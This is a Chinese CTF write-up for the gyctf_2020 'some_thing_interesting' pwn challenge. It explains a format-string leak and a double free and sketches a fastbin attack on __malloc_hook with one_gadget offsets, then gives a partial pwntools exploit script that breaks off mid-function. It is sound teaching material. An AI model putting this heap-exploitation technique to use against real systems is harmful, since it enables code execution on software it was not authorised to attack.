目录
gyctf_2020_some_thing_interesting(格式化字符串漏洞, double free)
程序分析
开始前要先输入验证码,可输入长度为19,然而比较长度仅为14
这个函数中有格式化字符串漏洞,字符串为之前输入的验证码
删除之后指针没有置空,double free
漏洞利用
- 利用格式化字符串漏洞泄露libc地址
- 进行两次add,对于每次add,其中一个大小为0x68,另一个随意
- delete(1), delete(2), delete(1),该题目编号从1开始,不直接double free因为会崩
- 把chunk大小为0x70块的fd改为__malloc_hook-0x23,劫持即可
Exp
from pwn import *
r = remote("node3.buuoj.cn", 27484)
#r = process("./gyctf_2020_some_thing_interesting")
context.log_level = 'debug'
elf = ELF("./gyctf_2020_some_thing_interesting")
libc = ELF('./libc/libc-2.23.so')
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]
def add(size1, content1, size2, content2):
r.recvuntil("#######################\n")
r.sendline('1')
r.recvuntil("> O's length : ")
r.sendline(str(size1))
r.recvuntil("> O : ")
r.send(content1)
r.recvuntil("> RE's length : ")
r.sendline(str(size2))
r.recvuntil("> RE : ")
r.send(content2)
def delete(index):
r.recvuntil("#######################\n")
r.sendline('3')
r.recvuntil("> Oreo ID : ")
r.sendline(str(index))
def show(index):
r.recvuntil("#######################\n")
r.sendline('4')
r.recvuntil("> Oreo ID : ")
r.sendline(str(index))
def edit(index, content1, content2):
r.recvuntil("#######################\n")
r.sendline('2')
r.recvuntil("&